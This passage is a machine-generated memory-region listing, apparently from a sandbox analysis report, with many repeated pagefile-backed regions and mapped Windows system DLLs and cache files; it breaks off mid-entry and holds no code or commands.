"pagefile_0x0000000000310000" filename = "" Region: id = 317 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 318 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 319 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 320 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 321 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 322 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 323 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 324 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 325 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 326 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 327 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 328 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 329 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 330 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 331 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 332 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 333 start_va = 0x310000 end_va = 0x31ffff entry_point = 0x0 region_type = private name = "private_0x0000000000310000" filename = "" Region: id = 334 start_va = 0x310000 end_va = 0x323fff entry_point = 0x0 region_type = private name = "private_0x0000000000310000" filename = "" Region: id = 335 start_va = 0x350000 end_va = 0x357fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000350000" filename = "" Region: id = 336 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 337 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 338 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 339 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 340 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 341 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 342 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 343 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 344 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 345 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 346 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 347 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 348 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 349 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 350 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 351 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 352 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 353 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 354 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 355 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 356 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 357 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 358 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 359 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 360 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 361 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 362 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 363 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 364 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 365 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 366 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 367 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 368 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 369 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 370 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 371 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 372 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 373 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 374 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 375 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 376 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 377 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 378 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 379 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 380 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 381 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 382 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 383 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 384 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 385 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 386 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 387 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 388 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 389 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 390 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 391 start_va = 0x310000 end_va = 0x31ffff entry_point = 0x0 region_type = private name = "private_0x0000000000310000" filename = "" Region: id = 392 start_va = 0x310000 end_va = 0x323fff entry_point = 0x0 region_type = private name = "private_0x0000000000310000" filename = "" Region: id = 393 start_va = 0x350000 end_va = 0x357fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000350000" filename = "" Region: id = 394 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 395 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 396 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 397 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 398 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 399 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 400 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 401 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 402 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 403 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 404 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 405 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 406 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 407 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 408 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 409 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 410 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 411 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 412 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 413 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 414 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 415 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 416 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 417 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 418 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 419 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 420 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 421 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 422 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 423 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 424 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 425 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 426 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 427 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 428 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 429 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 430 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 431 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 432 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 433 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 434 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 435 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 436 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 437 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 438 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 439 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 440 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 441 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 442 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 443 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 444 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 445 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 446 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 447 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 448 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 449 start_va = 0x310000 end_va = 0x31ffff entry_point = 0x0 region_type = private name = "private_0x0000000000310000" filename = "" Region: id = 450 start_va = 0x310000 end_va = 0x323fff entry_point = 0x0 region_type = private name = "private_0x0000000000310000" filename = "" Region: id = 451 start_va = 0x350000 end_va = 0x357fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000350000" filename = "" Region: id = 452 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 453 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 454 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 455 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 456 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 457 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 458 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 459 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 460 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 461 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 462 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 463 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 464 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 465 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 466 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 467 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 468 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 469 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 470 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 471 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 472 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 473 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 474 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 475 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 476 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 477 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 478 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 479 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 480 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 481 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 482 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 483 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 484 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 485 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 486 start_va = 0x310000 end_va = 0x310fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 487 start_va = 0x74630000 end_va = 0x746a4fff entry_point = 0x74630000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 488 start_va = 0x2300000 end_va = 0x23bffff entry_point = 0x0 region_type = private name = "private_0x0000000002300000" filename = "" Region: id = 489 start_va = 0x74370000 end_va = 0x744b1fff entry_point = 0x74370000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\SysWOW64\\propsys.dll" (normalized: "c:\\windows\\syswow64\\propsys.dll") Region: id = 490 start_va = 0x770d0000 end_va = 0x77161fff entry_point = 0x770d0000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 491 start_va = 0x320000 end_va = 0x320fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 492 start_va = 0x76fe0000 end_va = 0x77061fff entry_point = 0x76fe0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 493 start_va = 0x350000 end_va = 0x350fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000350000" filename = "" Region: id = 494 start_va = 0x360000 end_va = 0x363fff entry_point = 0x360000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 495 start_va = 0x540000 end_va = 0x582fff entry_point = 0x540000 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000013.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000013.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000013.db") Region: id = 496 start_va = 0x380000 end_va = 0x383fff entry_point = 0x380000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 497 start_va = 0x2300000 end_va = 0x238afff entry_point = 0x2300000 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db") Region: id = 498 start_va = 0x23b0000 end_va = 0x23bffff entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 499 start_va = 0x3e0000 end_va = 0x3f0fff entry_point = 0x3e0000 region_type = mapped_file name = "propsys.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\propsys.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\propsys.dll.mui") Region: id = 500 start_va = 0x590000 end_va = 0x593fff entry_point = 0x590000 region_type = mapped_file name = "cversions.1.db" filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db") Region: id = 501 start_va = 0x2390000 end_va = 0x23a2fff entry_point = 0x2390000 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000001c.db" filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000001c.db" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000001c.db") Region: id = 502 start_va = 0x23c0000 end_va = 0x23c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023c0000" filename = "" Region: id = 503 start_va = 0x23d0000 end_va = 0x240ffff entry_point = 0x0 region_type = private name = "private_0x00000000023d0000" filename = "" Region: id = 504 start_va = 0x2410000 end_va = 0x250ffff entry_point = 0x0 region_type = private name = "private_0x0000000002410000" filename = "" Region: id = 505 start_va = 0x7fead000 end_va = 0x7feaffff entry_point = 0x0 region_type = private name = "private_0x000000007fead000" filename = "" Region: id = 506 start_va = 0x77080000 end_va = 0x770b5fff entry_point = 0x77080000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll") Region: id = 507 start_va = 0x74350000 end_va = 0x74362fff entry_point = 0x74350000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 508 start_va = 0x2510000 end_va = 0x254ffff entry_point = 0x0 region_type = private name = "private_0x0000000002510000" filename = "" Region: id = 509 start_va = 0x2550000 end_va = 0x264ffff entry_point = 0x0 region_type = private name = "private_0x0000000002550000" filename = "" Region: id = 510 start_va = 0x74320000 end_va = 0x7434efff entry_point = 0x74320000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 511 start_va = 0x7feaa000 end_va = 0x7feacfff entry_point = 0x0 region_type = private name = "private_0x000000007feaa000" filename = "" Region: id = 512 start_va = 